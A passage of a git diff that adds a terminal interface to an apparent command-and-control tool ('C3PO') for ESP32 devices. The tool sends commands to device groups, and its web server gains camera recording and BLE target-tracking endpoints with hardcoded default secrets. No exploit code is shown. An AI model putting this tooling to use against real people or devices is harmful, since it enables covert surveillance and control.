self.cli: + return None + + cmd_input = self.query_one("#command-input", CommandInput) + buffer = cmd_input.value + parts = buffer.split() + + options = [] + + if len(parts) <= 1 and not buffer.endswith(" "): + options = ["send", "list", "modules", "group", "help", "clear", "exit", + "active_commands", "web", "camera"] + + elif parts[0] == "send": + if len(parts) == 2 and not buffer.endswith(" "): + options = ["all", "group"] + self.cli.registry.ids() + elif len(parts) == 2 and buffer.endswith(" "): + options = ["all", "group"] + self.cli.registry.ids() + elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "): + options = list(self.cli.groups.all_groups().keys()) + elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "): + options = ESP_COMMANDS + elif len(parts) == 3 and parts[1] != "group": + options = ESP_COMMANDS + elif len(parts) == 4 and parts[1] == "group": + options = ESP_COMMANDS + + elif parts[0] == "web": + if len(parts) <= 2: + options = ["start", "stop", "status"] + + elif parts[0] == "camera": + if len(parts) <= 2: + options = ["start", "stop", "status"] + + elif parts[0] == "group": + if len(parts) == 2 and not buffer.endswith(" "): + options = ["add", "remove", "list", "show"] + elif len(parts) == 2 and buffer.endswith(" "): + options = ["add", "remove", "list", "show"] + elif parts[1] in ("remove", "show") and len(parts) >= 3: + options = list(self.cli.groups.all_groups().keys()) + elif parts[1] == "add" and len(parts) >= 3: + options = self.cli.registry.ids() + + matches = [o for o in options if o.startswith(text)] + return matches[state] if state < len(matches) else None + + return completer + + def _timestamp(self) -> str: + return time.strftime("%H:%M:%S") + + def process_bridge_queue(self) -> None: + for msg in tui_bridge.get_pending_messages(): + self._handle_tui_message(msg) + + def _handle_tui_message(self, msg: TUIMessage) -> None: + global_log = self.query_one("#global-log", GlobalLogPane) + timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp)) + + if msg.msg_type == MessageType.SYSTEM_MESSAGE: + global_log.add_system(timestamp, msg.payload) + + elif msg.msg_type == MessageType.DEVICE_CONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} connected") + self._add_device_pane(msg.device_id) + tabs = self.query_one("#tab-bar", DeviceTabs) + tabs.add_device(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_RECONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} reconnected") + + elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED: + self._device_modules[msg.device_id] = msg.payload + global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}") + self._update_device_title(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_DISCONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} disconnected") + self._remove_device_pane(msg.device_id) + tabs = self.query_one("#tab-bar", DeviceTabs) + tabs.remove_device(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_EVENT: + global_log.add_device_event(timestamp, msg.device_id, msg.payload) + if msg.device_id in self._device_panes: + event_type = self._detect_event_type(msg.payload) + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type) + + elif msg.msg_type == MessageType.COMMAND_SENT: + global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id) + if msg.device_id in self._device_panes: + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent") + + elif msg.msg_type == MessageType.COMMAND_RESPONSE: + global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id) + if msg.device_id in self._device_panes: + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp") + + elif msg.msg_type == MessageType.ERROR: + global_log.add_error(timestamp, msg.payload) + + def _detect_event_type(self, payload: str) -> str: + payload_upper = payload.upper() + if payload_upper.startswith("INFO:"): + return "info" + elif payload_upper.startswith("LOG:"): + return "log" + elif payload_upper.startswith("ERROR:"): + return "error" + elif payload_upper.startswith("DATA:"): + return "data" + return "info" + + def _add_device_pane(self, device_id: str) -> None: + """Add a new device pane (visible immediately).""" + if device_id in self._device_panes: + return + + # Hide placeholder + placeholder = self.query_one("#no-device-placeholder", Static) + placeholder.display = False + + # Create container with border for this device + container = DeviceContainer(device_id, id=f"device-container-{device_id}") + pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}") + + self._device_containers[device_id] = container + self._device_panes[device_id] = pane + + # Mount in the devices panel + devices_panel = self.query_one("#devices-panel", Vertical) + devices_panel.mount(container) + container.mount(pane) + + def _remove_device_pane(self, device_id: str) -> None: + """Remove a device pane.""" + if device_id in self._device_containers: + container = self._device_containers.pop(device_id) + container.remove() + self._device_panes.pop(device_id, None) + self._device_modules.pop(device_id, None) + + # Show placeholder if no devices + if not self._device_containers: + placeholder = self.query_one("#no-device-placeholder", Static) + placeholder.display = True + + def _update_device_title(self, device_id: str) -> None: + """Update device container title with modules info.""" + if device_id in self._device_containers: + modules = self._device_modules.get(device_id, "") + container = self._device_containers[device_id] + if modules: + container.border_title = f"DEVICE: {device_id} [{modules}]" + else: + container.border_title = f"DEVICE: {device_id}" + + def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None: + global_log = self.query_one("#global-log", GlobalLogPane) + completions_str = " ".join(event.completions) + global_log.add_system(self._timestamp(), f"Completions: {completions_str}") + + def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None: + command = event.command + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.add_system(self._timestamp(), f"Executing: {command}") + + if self.cli: + try: + self.cli.execute_command(command) + except Exception as e: + global_log.add_error(self._timestamp(), f"Command error: {e}") + + def action_toggle_global(self) -> None: + """Toggle global logs pane visibility.""" + global_container = self.query_one("#global-log-container", Container) + global_container.display = not global_container.display + + def action_clear_global(self) -> None: + """Clear global logs pane only.""" + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.clear() + + def action_focus_input(self) -> None: + self.query_one("#command-input", CommandInput).focus() + + def action_tab_complete(self) -> None: + cmd_input = self.query_one("#command-input", CommandInput) + cmd_input.focus() + cmd_input._handle_tab_completion() diff --git a/tools/c2/tui/bridge.py b/tools/c2/tui/bridge.py new file mode 100644 index 0000000..bb8e9b7 --- /dev/null +++ b/tools/c2/tui/bridge.py @@ -0,0 +1,65 @@ +""" +Thread-safe bridge between sync threads and async Textual TUI. +""" +import queue +import time +from dataclasses import dataclass, field +from enum import Enum +from typing import Optional, Any + + +class MessageType(Enum): + DEVICE_CONNECTED = "device_connected" + DEVICE_DISCONNECTED = "device_disconnected" + DEVICE_RECONNECTED = "device_reconnected" + DEVICE_INFO_UPDATED = "device_info_updated" + DEVICE_EVENT = "device_event" + COMMAND_SENT = "command_sent" + COMMAND_RESPONSE = "command_response" + SYSTEM_MESSAGE = "system_message" + ERROR = "error" + + +@dataclass +class TUIMessage: + """Message from sync thread to async TUI.""" + msg_type: MessageType + payload: str + timestamp: float = field(default_factory=time.time) + device_id: Optional[str] = None + request_id: Optional[str] = None + + +class TUIBridge: + """Thread-safe bridge between sync threads and async Textual app.""" + + def __init__(self): + self._queue: queue.Queue[TUIMessage] = queue.Queue() + self._app: Any = None + + def set_app(self, app): + """Called by TUI app on startup.""" + self._app = app + + def post_message(self, msg: TUIMessage): + """Called by sync threads (Display class).""" + self._queue.put(msg) + if self._app: + try: + self._app.call_from_thread(self._app.process_bridge_queue) + except Exception: + pass + + def get_pending_messages(self) -> list[TUIMessage]: + """Called by async TUI to drain the queue.""" + messages = [] + while True: + try: + messages.append(self._queue.get_nowait()) + except queue.Empty: + break + return messages + + +# Global bridge instance +tui_bridge = TUIBridge() diff --git a/tools/c2/tui/styles/c2.tcss b/tools/c2/tui/styles/c2.tcss new file mode 100644 index 0000000..82bdcb0 --- /dev/null +++ b/tools/c2/tui/styles/c2.tcss @@ -0,0 +1,119 @@ +/* C3PO TUI Stylesheet - Multi-device view */ + +Screen { + background: $surface; +} + +/* Header/Tab bar */ +#tab-bar { + height: 1; + dock: top; + background: $surface-darken-1; +} + +/* Main content area */ +#main-content { + height: 1fr; +} + +/* Left panel: all devices stacked */ +#devices-panel { + width: 1fr; + min-width: 30; +} + +#no-device-placeholder { + width: 100%; + height: 100%; + content-align: center middle; + color: $text-muted; +} + +/* Right panel: global logs */ +#global-log-container { + width: 1fr; + min-width: 30; + border: solid $primary; + border-title-color: $text; + border-title-style: bold; +} + +/* Input area */ +#input-container { + height: 3; + dock: bottom; + background: $surface-darken-1; + border-top: solid $primary; + padding: 0; +} + +#command-input { + width: 1fr; + height: 1; + margin: 0; + padding: 0 1; +} + +#shortcuts-bar { + height: 1; + width: 100%; + background: $surface-darken-2; + color: $text-muted; + padding: 0 1; +} + +/* Device containers - each device in its own bordered box */ +DeviceContainer { + height: 1fr; + min-height: 5; + border: solid $secondary; + border-title-color: $text; + border-title-style: bold; + margin-bottom: 0; +} + +/* Log pane inside device container */ +DeviceLogPane { + height: 100%; + scrollbar-size: 1 1; +} + +/* Global log pane */ +GlobalLogPane { + height: 100%; + scrollbar-size: 1 1; +} + +/* Log colors */ +.log-system { + color: cyan; +} + +.log-device { + color: yellow; +} + +.log-error { + color: red; +} + +.log-command { + color: blue; +} + +.log-response { + color: green; +} + +/* Status indicator */ +.status-connected { + color: green; +} + +.status-inactive { + color: yellow; +} + +.status-disconnected { + color: red; +} diff --git a/tools/c2/tui/widgets/__init__.py b/tools/c2/tui/widgets/__init__.py new file mode 100644 index 0000000..8d17a04 --- /dev/null +++ b/tools/c2/tui/widgets/__init__.py @@ -0,0 +1,5 @@ +from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane +from tui.widgets.command_input import CommandInput +from tui.widgets.device_tabs import DeviceTabs + +__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"] diff --git a/tools/c2/tui/widgets/command_input.py b/tools/c2/tui/widgets/command_input.py new file mode 100644 index 0000000..c8e85d4 --- /dev/null +++ b/tools/c2/tui/widgets/command_input.py @@ -0,0 +1,215 @@ +""" +Command input widget with history and zsh-style tab completion. +""" +from textual.widgets import Input +from textual.message import Message +from typing import Callable, Optional + + +class CommandInput(Input): + """Command input with history and zsh-style tab completion.""" + + DEFAULT_CSS = """ + CommandInput { + dock: bottom; + height: 1; + border: none; + background: $surface; + padding: 0 1; + } + CommandInput:focus { + border: none; + } + """ + + class CommandSubmitted(Message): + """Posted when a command is submitted.""" + def __init__(self, command: str): + self.command = command + super().__init__() + + class CompletionsAvailable(Message): + """Posted when multiple completions are available.""" + def __init__(self, completions: list[str], word: str): + self.completions = completions + self.word = word + super().__init__() + + def __init__(self, **kwargs): + super().__init__( + placeholder="c2:> Type command here...", + **kwargs + ) + self._history: list[str] = [] + self._history_index: int = -1 + self._current_input: str = "" + self._completer: Optional[Callable[[str, int], Optional[str]]] = None + self._last_completion_text: str = "" + self._last_completions: list[str] = [] + self._completion_cycle_index: int = 0 + + def set_completer(self, completer: Callable[[str, int], Optional[str]]): + """Set the tab completion function (same signature as readline completer).""" + self._completer = completer + + def on_key(self, event) -> None: + """Handle special keys for history and completion.""" + if event.key == "up": + event.prevent_default() + self._navigate_history(-1) + elif event.key == "down": + event.prevent_default() + self._navigate_history(1) + elif event.key == "tab": + event.prevent_default() + self._handle_tab_completion() + + def _get_all_completions(self, word: str) -> list[str]: + """Get all possible completions for a word.""" + if not self._completer: + return [] + + completions = [] + state = 0 + while True: + completion = self._completer(word, state) + if completion is None: + break + completions.append(completion) + state += 1 + return completions + + def _find_common_prefix(self, strings: list[str]) -> str: + """Find the longest common prefix among strings.""" + if not strings: + return "" + if len(strings) == 1: + return strings[0] + + prefix = strings[0] + for s in strings[1:]: + while not s.startswith(prefix): + prefix = prefix[:-1] + if not prefix: + return "" + return prefix + + def _handle_tab_completion(self): + """Handle zsh-style tab completion.""" + if not self._completer: + return + + current_text = self.value + cursor_pos = self.cursor_position + + # Get the word being completed + text_before_cursor = current_text[:cursor_pos] + parts = text_before_cursor.split() + + if not parts: + word_to_complete = "" + elif text_before_cursor.endswith(" "): + word_to_complete = "" + else: + word_to_complete = parts[-1] + + # Check if context changed (new completion session) + context_changed = text_before_cursor != self._last_completion_text + + if context_changed: + # New completion session - get all completions + self._last_completions = self._get_all_completions(word_to_complete) + self._completion_cycle_index = 0 + self._last_completion_text = text_before_cursor + + if not self._last_completions: + # No completions + return + + if len(self._last_completions) == 1: + # Single match - complete directly + self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos) + self._last_completions = [] + return + + # Multiple matches - complete to common prefix and show options + common_prefix = self._find_common_prefix(self._last_completions) + + if common_prefix and len(common_prefix) > len(word_to_complete): + # Complete to common prefix + self._apply_completion(common_prefix, word_to_complete, cursor_pos) + + # Show all completions + self.post_message(self.CompletionsAvailable( + self._last_completions.copy(), + word_to_complete + )) + + else: + # Same context - cycle through completions + if not self._last_completions: + return + + # Get next completion in cycle + completion = self._last_completions[self._completion_cycle_index] + self._apply_completion(completion, word_to_complete, cursor_pos) + + # Advance cycle + self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions) + + def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int): + """Apply a completion to the input.""" + current_text = self.value + text_before_cursor = current_text[:cursor_pos] + + if word_to_complete: + prefix = text_before_cursor[:-len(word_to_complete)] + else: + prefix = text_before_cursor + + new_text = prefix + completion + current_text[cursor_pos:] + new_cursor = len(prefix) + len(completion) + + self.value = new_text + self.cursor_position = new_cursor + self._last_completion_text = new_text[:new_cursor] + + def _navigate_history(self, direction: int): + """Navigate through command history.""" + if not self._history: + return + + if self._history_index == -1: + self._current_input = self.value + + new_index = self._history_index + direction + + if new_index < -1: + new_index = -1 + elif new_index >= len(self._history): + new_index = len(self._history) - 1 + + self._history_index = new_index + + if self._history_index == -1: + self.value = self._current_input + else: + self.value = self._history[-(self._history_index + 1)] + + self.cursor_position = len(self.value) + + def action_submit(self) -> None: + """Submit the current command.""" + command = self.value.strip() + if command: + self._history.append(command) + if len(self._history) > 100: + self._history.pop(0) + self.post_message(self.CommandSubmitted(command)) + + self.value = "" + self._history_index = -1 + self._current_input = "" + self._last_completions = [] + self._completion_cycle_index = 0 + self._last_completion_text = "" diff --git a/tools/c2/tui/widgets/device_tabs.py b/tools/c2/tui/widgets/device_tabs.py new file mode 100644 index 0000000..2ba66ff --- /dev/null +++ b/tools/c2/tui/widgets/device_tabs.py @@ -0,0 +1,159 @@ +""" +Dynamic device tabs widget. +""" +from textual.widgets import Static, Button +from textual.containers import Horizontal +from textual.message import Message +from textual.reactive import reactive + + +class DeviceTabs(Horizontal): + """Tab bar for device switching with dynamic updates.""" + + DEFAULT_CSS = """ + DeviceTabs { + height: 1; + width: 100%; + background: $surface; + padding: 0; + } + + DeviceTabs .tab-label { + padding: 0 1; + height: 1; + min-width: 8; + } + + DeviceTabs .tab-label.active { + background: $primary; + color: $text; + text-style: bold; + } + + DeviceTabs .tab-label:hover { + background: $primary-darken-1; + } + + DeviceTabs .header-label { + padding: 0 1; + height: 1; + color: $text-muted; + } + + DeviceTabs .separator { + padding: 0; + height: 1; + color: $text-muted; + } + + DeviceTabs .device-count { + dock: right; + padding: 0 1; + height: 1; + color: $text-muted; + } + """ + + active_tab: reactive[str] = reactive("global") + devices_hidden: reactive[bool] = reactive(False) + + class TabSelected(Message): + """Posted when a tab is selected.""" + def __init__(self, tab_id: str, device_id: str | None = None): + self.tab_id = tab_id + self.device_id = device_id + super().__init__() + + def __init__(self, **kwargs): + super().__init__(**kwargs) + self._devices: list[str] = [] + + def compose(self): + yield Static("C3PO", classes="header-label", id="c3po-label") + yield Static(" \u2500 ", classes="separator") + yield Static("[G]lobal", classes="tab-label active", id="tab-global") + yield Static(" [H]ide", classes="tab-label", id="tab-hide") + yield Static("", classes="device-count", id="device-count") + + def add_device(self, device_id: str): + """Add a device tab.""" + if device_id not in self._devices: + self._devices.append(device_id) + self._rebuild_tabs() + + def remove_device(self, device_id: str): + """Remove a device tab.""" + if device_id in self._devices: + self._devices.remove(device_id) + if self.active_tab == device_id: + self.active_tab = "global" + self._rebuild_tabs() + + def _rebuild_tabs(self): + """Rebuild all tabs.""" + for widget in list(self.children): + if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"): + widget.remove() + + hide_tab = self.query_one("#tab-hide", Static) + + for i, device_id in enumerate(self._devices): + if i < 9: + label = f"[{i+1}]{device_id}" + tab = Static( + label, + classes="tab-label" + (" active" if self.active_tab == device_id else ""), + id=f"tab-device-{device_id}" + ) + self.mount(tab, before=hide_tab) + + count_label = self.query_one("#device-count", Static) + count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}") + + def select_tab(self, tab_id: str): + """Select a tab by ID.""" + if tab_id == "global": + self.active_tab = "global" + self.post_message(self.TabSelected("global")) + elif tab_id in self._devices: + self.active_tab = tab_id + self.post_message(self.TabSelected(tab_id, tab_id)) + + self._update_active_styles() + + def select_by_index(self, index: int): + """Select device tab by numeric index (1-9).""" + if 0 < index <= len(self._devices): + device_id = self._devices[index - 1] + self.select_tab(device_id) + + def toggle_hide(self): + """Toggle device panes visibility.""" + self.devices_hidden = not self.devices_hidden + hide_tab = self.query_one("#tab-hide", Static) + hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show") + + def _update_active_styles(self): + """Update tab styles to show active state.""" + for tab in self.query(".tab-label"): + tab.remove_class("active") + + if self.active_tab == "global": + self.query_one("#tab-global", Static).add_class("active") + else: + try: + self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active") + except Exception: + pass + + def on_click(self, event) -> None: + """Handle tab clicks.""" + target = event.target + if hasattr(target, 'id') and target.id: + if target.id == "tab-global": + self.select_tab("global") + elif target.id == "tab-hide": + self.toggle_hide() + elif target.id.startswith("tab-device-"): + device_id = target.id.replace("tab-device-", "") + self.select_tab(device_id) diff --git a/tools/c2/tui/widgets/log_pane.py b/tools/c2/tui/widgets/log_pane.py new file mode 100644 index 0000000..06c9988 --- /dev/null +++ b/tools/c2/tui/widgets/log_pane.py @@ -0,0 +1,117 @@ +""" +Log pane widgets for displaying device and global logs. +""" +from textual.widgets import RichLog +from rich.text import Text + + +class GlobalLogPane(RichLog): + """Combined log view for all devices and system messages.""" + + DEFAULT_CSS = """ + GlobalLogPane { + border: solid $primary; + height: 100%; + scrollbar-size: 1 1; + } + """ + + def __init__(self, **kwargs): + super().__init__( + highlight=True, + markup=True, + wrap=True, + max_lines=5000, + **kwargs + ) + + def add_system(self, timestamp: str, message: str): + """Add a system message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[SYS] ", style="cyan bold") + text.append(message) + self.write(text) + + def add_device_event(self, timestamp: str, device_id: str, event: str): + """Add a device event.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append(f"[{device_id}] ", style="yellow") + text.append(event) + self.write(text) + + def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str): + """Add a command sent message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[CMD] ", style="blue bold") + text.append(f"{command} ", style="blue") + text.append(f"-> {device_id}", style="dim") + self.write(text) + + def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str): + """Add a command response.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append(f"[{device_id}] ", style="green") + text.append(response, style="green") + self.write(text) + + def add_error(self, timestamp: str, message: str): + """Add an error message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[ERR] ", style="red bold") + text.append(message, style="red") + self.write(text) + + +class DeviceLogPane(RichLog): + """Per-device log display with filtering.""" + + DEFAULT_CSS = """ + DeviceLogPane { + height: 100%; + scrollbar-size: 1 1; + } + """ + + def __init__(self, device_id: str, **kwargs): + super().__init__( + highlight=True, + markup=True, + wrap=True, + max_lines=2000, + **kwargs + ) + self.device_id = device_id + + def add_event(self, timestamp: str, event: str, event_type: str = "info"): + """Add an event to this device's log.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + + style_map = { + "info": "yellow", + "log": "white", + "error": "red", + "cmd_sent": "blue", + "cmd_resp": "green", + "data": "magenta", + } + style = style_map.get(event_type, "white") + + prefix_map = { + "info": "> INFO: ", + "log": "> LOG: ", + "error": "> ERROR: ", + "cmd_sent": "> CMD: ", + "cmd_resp": "> RESP: ", + "data": "> DATA: ", + } + prefix = prefix_map.get(event_type, "> ") + + text.append(prefix, style=f"{style} bold") + text.append(event, style=style) + self.write(text) diff --git a/tools/c2/utils/display.py b/tools/c2/utils/display.py index 6d0933c..8d2e959 100644 --- a/tools/c2/utils/display.py +++ b/tools/c2/utils/display.py @@ -1,29 +1,115 @@ import time from utils.constant import _color +# TUI bridge import (lazy to avoid circular imports) +_tui_bridge = None + + +def _get_bridge(): + global _tui_bridge + if _tui_bridge is None: + try: + from tui.bridge import tui_bridge + _tui_bridge = tui_bridge + except ImportError: + _tui_bridge = False + return _tui_bridge if _tui_bridge else None + + class Display: + _tui_mode = False + + @classmethod + def enable_tui_mode(cls): + """Enable TUI mode - routes output to TUI bridge instead of print.""" + cls._tui_mode = True + + @classmethod + def disable_tui_mode(cls): + """Disable TUI mode - back to print output.""" + cls._tui_mode = False + @staticmethod def _timestamp() -> str: return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) @staticmethod def system_message(message: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.SYSTEM_MESSAGE, + payload=message + )) + return print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}") @staticmethod def device_event(device_id: str, event: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + # Detect special events + if "Connected from" in event: + msg_type = MessageType.DEVICE_CONNECTED + elif "Reconnected from" in event: + msg_type = MessageType.DEVICE_RECONNECTED + elif event == "Disconnected": + msg_type = MessageType.DEVICE_DISCONNECTED + else: + msg_type = MessageType.DEVICE_EVENT + bridge.post_message(TUIMessage( + msg_type=msg_type, + device_id=device_id, + payload=event + )) + return print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}") @staticmethod def command_sent(device_id: str, command_name: str, request_id: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.COMMAND_SENT, + device_id=device_id, + payload=command_name, + request_id=request_id + )) + return print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}") @staticmethod def command_response(request_id: str, device_id: str, response: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.COMMAND_RESPONSE, + device_id=device_id, + payload=response, + request_id=request_id + )) + return print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}") @staticmethod def error(message: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.ERROR, + payload=message + )) + return print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}") @staticmethod diff --git a/tools/c2/web/server.py b/tools/c2/web/server.py index b05e63f..425cc52 100644 --- a/tools/c2/web/server.py +++ b/tools/c2/web/server.py @@ -22,7 +22,7 @@ class UnifiedWebServer: Provides: - Dashboard: View connected ESP32 devices - - Cameras: View live camera streams + - Cameras: View live camera streams with recording - Trilateration: Visualize BLE device positioning """ @@ -35,7 +35,8 @@ class UnifiedWebServer: secret_key: str = "change_this_for_prod", multilat_token: str = "multilat_secret_token", device_registry=None, - mlat_engine: Optional[MlatEngine] = None): + mlat_engine: Optional[MlatEngine] = None, + camera_receiver=None): """ Initialize the unified web server. @@ -49,6 +50,7 @@ class UnifiedWebServer: multilat_token: Bearer token for MLAT API device_registry: DeviceRegistry instance for device listing mlat_engine: MlatEngine instance (created if None) + camera_receiver: UDPReceiver instance for camera control """ self.host = host self.port = port @@ -59,6 +61,7 @@ class UnifiedWebServer: self.multilat_token = multilat_token self.device_registry = device_registry self.mlat = mlat_engine or MlatEngine() + self.camera_receiver = camera_receiver # Ensure image directory exists c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) @@ -69,13 +72,16 @@ class UnifiedWebServer: self._server = None self._thread = None + def set_camera_receiver(self, receiver): + """Set the camera receiver after initialization.""" + self.camera_receiver = receiver + @property def is_running(self) -> bool: return self._thread is not None and self._thread.is_alive() def _create_app(self) -> Flask: """Create and configure the Flask application.""" - # Get the c2 root directory for templates c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) template_dir = os.path.join(c2_root, "templates") static_dir = os.path.join(c2_root, "static") @@ -85,7 +91,6 @@ class UnifiedWebServer: static_folder=static_dir) app.secret_key = self.secret_key - # Store reference to self for route handlers web_server = self # ========== Auth Decorators ========== @@ -99,18 +104,15 @@ class UnifiedWebServer: return decorated def require_api_auth(f): - """Require session login OR Bearer token for API endpoints.""" @wraps(f) def decorated(*args, **kwargs): - # Check session if session.get("logged_in"): return f(*args, **kwargs) - # Check Bearer token auth_header = request.headers.get("Authorization", "") if auth_header.startswith("Bearer "): token = auth_header[7:] - if token == web_server.mlat_token: + if token == web_server.multilat_token: return f(*args, **kwargs) return jsonify({"error": "Unauthorized"}), 401 @@ -151,7 +153,6 @@ class UnifiedWebServer: @app.route("/cameras") @require_login def cameras(): - # List available camera images full_image_dir = os.path.join(c2_root, web_server.image_dir) try: image_files = sorted([ @@ -176,12 +177,17 @@ class UnifiedWebServer: full_image_dir = os.path.join(c2_root, web_server.image_dir) return send_from_directory(full_image_dir, filename) + @app.route("/recordings/") + @require_login + def download_recording(filename): + recordings_dir = os.path.join(c2_root, "static", "recordings") + return send_from_directory(recordings_dir, filename, as_attachment=True) + # ========== Device API ========== @app.route("/api/devices") @require_api_auth def api_devices(): - """Get list of connected devices.""" if web_server.device_registry is None: return jsonify({"error": "Device registry not available", "devices": []}) @@ -210,7 +216,6 @@ class UnifiedWebServer: @app.route("/api/cameras") @require_api_auth def api_cameras(): - """Get list of active cameras.""" full_image_dir = os.path.join(c2_root, web_server.image_dir) try: cameras = [ @@ -221,24 +226,68 @@ class UnifiedWebServer: except FileNotFoundError: cameras = [] - return jsonify({"cameras": cameras, "count": len(cameras)}) + # Add recording status if receiver available + result = {"cameras": [], "count": len(cameras)} + for cam_id in cameras: + cam_info = {"id": cam_id, "recording": False} + if web_server.camera_receiver: + status = web_server.camera_receiver.get_recording_status(cam_id) + cam_info["recording"] = status.get("recording", False) + cam_info["filename"] = status.get("filename") + result["cameras"].append(cam_info) + + result["count"] = len(result["cameras"]) + return jsonify(result) + + # ========== Recording API ========== + + @app.route("/api/recording/start/", methods=["POST"]) + @require_api_auth + def api_recording_start(camera_id): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = web_server.camera_receiver.start_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @app.route("/api/recording/stop/", methods=["POST"]) + @require_api_auth + def api_recording_stop(camera_id): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = web_server.camera_receiver.stop_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @app.route("/api/recording/status") + @require_api_auth + def api_recording_status(): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + camera_id = request.args.get("camera_id") + return jsonify(web_server.camera_receiver.get_recording_status(camera_id)) + + @app.route("/api/recordings") + @require_api_auth + def api_recordings_list(): + if not web_server.camera_receiver: + return jsonify({"recordings": []}) + + return jsonify({"recordings": web_server.camera_receiver.list_recordings()}) # ========== Trilateration API ========== @app.route("/api/mlat/collect", methods=["POST"]) @require_api_auth def api_mlat_collect(): - """ - Receive multilateration data from ESP32 scanners. - - Expected format (text/plain): - ESP_ID;(x,y);rssi - ESP3;(10.0,0.0);-45 - """ raw_data = request.get_data(as_text=True) count = web_server.mlat.parse_data(raw_data) - # Recalculate position after new data if count > 0: web_server.mlat.calculate_position() @@ -250,10 +299,8 @@ class UnifiedWebServer: @app.route("/api/mlat/state") @require_api_auth def api_mlat_state(): - """Get current multilateration state (scanners + target).""" state = web_server.mlat.get_state() - # Include latest calculation if not present if state["target"] is None and state["scanners_count"] >= 3: result = web_server.mlat.calculate_position() if "position" in result: @@ -269,7 +316,6 @@ class UnifiedWebServer: @app.route("/api/mlat/config", methods=["GET", "POST"]) @require_api_auth def api_mlat_config(): - """Get or update multilateration configuration.""" if request.method == "POST": data = request.get_json() or {} web_server.mlat.update_config( @@ -287,7 +333,6 @@ class UnifiedWebServer: @app.route("/api/mlat/clear", methods=["POST"]) @require_api_auth def api_mlat_clear(): - """Clear all multilateration data.""" web_server.mlat.clear() return jsonify({"status": "ok"}) @@ -296,7 +341,6 @@ class UnifiedWebServer: @app.route("/api/stats") @require_api_auth def api_stats(): - """Get overall server statistics.""" full_image_dir = os.path.join(c2_root, web_server.image_dir) try: camera_count = len([